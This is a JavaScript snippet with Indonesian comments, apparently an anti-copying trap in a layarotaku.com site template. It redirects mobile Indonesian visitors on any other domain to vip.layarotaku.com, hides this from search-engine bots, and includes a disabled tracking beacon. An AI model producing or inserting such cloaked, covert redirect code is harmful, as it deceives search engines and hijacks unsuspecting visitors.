(function () { try { /* ============================= KONFIGURASI ============================= */ var ORIGINAL_DOMAIN = "layarotaku.com"; // Domain yang ingin di amankan var AMP_TARGET = "https://vip.layarotaku.com/"; // Tujuan Redirect //var TRACK_ENDPOINT = "https://layarotaku.com/"; if (typeof window === "undefined") return; if (!location || !navigator) return; var ua = navigator.userAgent || ""; /* ============================= BOT AMAN (SEO SAFE) ============================= */ var bots = /Googlebot|Google-InspectionTool|bingbot|DuckDuckBot|Baiduspider|YandexBot|AhrefsBot|SemrushBot|MJ12bot|DotBot/i; if (bots.test(ua)) return; /* ============================= NORMALISASI DOMAIN ============================= */ var currentHost = location.hostname.replace(/^www\./, ""); var originalHost = ORIGINAL_DOMAIN.replace(/^www\./, ""); var ampHost = new URL(AMP_TARGET).hostname.replace(/^www\./, ""); // Jangan jalan di domain asli & AMP sendiri if (currentHost === originalHost) return; if (currentHost === ampHost) return; /* ============================= MOBILE ONLY ============================= */ var isMobile = (window.matchMedia && window.matchMedia("(pointer: coarse)").matches) || /Android|iPhone|iPad|iPod|Opera Mini|IEMobile|Mobile/i.test(ua); if (!isMobile) return; /* ============================= GEO INDONESIA ONLY ============================= */ var isID = (navigator.language && navigator.language.toLowerCase().startsWith("id")) || (Intl && Intl.DateTimeFormat && Intl.DateTimeFormat().resolvedOptions().timeZone === "Asia/Jakarta"); if (!isID) return; /* ============================= TRACKING (DOMAIN + PATH) ============================= */ /* try { var img = new Image(); img.src = TRACK_ENDPOINT + "?host=" + encodeURIComponent(currentHost) + "&path=" + encodeURIComponent(location.pathname) + "&ua=" + encodeURIComponent(ua) + "&source=template" + "&t=" + Date.now(); } catch (e) {} */ /* ============================= REDIRECT KE AMP ORIGINAL (TIDAK IKUT PATH / PROTOCOL MALING) ============================= */ setTimeout(function () { try { location.replace(AMP_TARGET); } catch (e) {} }, 600); } catch (e) {} })();